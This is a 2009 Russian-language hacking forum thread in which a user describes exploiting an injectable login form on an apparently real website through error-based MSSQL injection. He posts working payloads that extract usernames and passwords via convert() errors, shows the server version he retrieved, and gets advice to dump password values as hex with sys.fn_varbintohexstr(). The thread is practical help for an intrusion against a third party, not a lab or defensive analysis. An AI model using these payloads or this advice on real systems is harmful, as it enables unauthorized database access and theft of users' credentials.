mssql injection

Discussion in 'Песочница' started by Moerto, 1 Aug 2009.

  1. Moerto

    Moerto New Member

    Joined:
    22 Jul 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Привет, у меня проблема с mssql инйэкцию. Я в один сайт нашол "vulnerable" (ньезнаю как ето сказать по руски) логин форму. Я палучил юзернеими и другую информацию от датабази с такие команди:
    Code:
    ' and 1=convert(int, (select top 1...))-- 
    Когда я хачу палучиц парольи с такую методу я палучаю такие парольи - ÅÆÅÆ .
    Code:
    ' and 1=convert(varchar, (select top 1 Password from Users where Username='foundusername'))--
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'ª·¨©»¯ ' to a column of data type int.
    Парольи можно быть в арабиц енкодинг, я попробовал поменьять бровсер енкодинг и без прогреса. Спасибо.
    P.S. Я неоченъ харашо гаварю по руски, извиньице.
     
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    вообще если даже в арабской кодировке пароли то они должны нормально отображаться в браузере
    это у всех юзеров так пароли выглядят?
     
    1 person likes this.
  3. Moerto

    Moerto New Member

    Joined:
    22 Jul 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    дa
     
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Кстати часто очень бывает что абра кадабра вылазиет.
    Тот же эллементарный 1' or 1=@@version.
    Вроде слов много вылазиет, но абра кадабра.
    Может знаешь что в чём проблема? :confused:
     
  5. Moerto

    Moerto New Member

    Joined:
    22 Jul 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Microsoft SQL Server 2000 -

    8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.2

    (Build 3790: Service Pack 1)
     
  6. _>SubDeviL<_

    _>SubDeviL<_ Elder - Старейшина

    Joined:
    22 Jun 2008
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    select+top+1+sys.fn_varbintohexstr(password)+from+Users+where+Username="foundusername"

    юзай так, тобишь функцию sys.fn_varbintohexstr().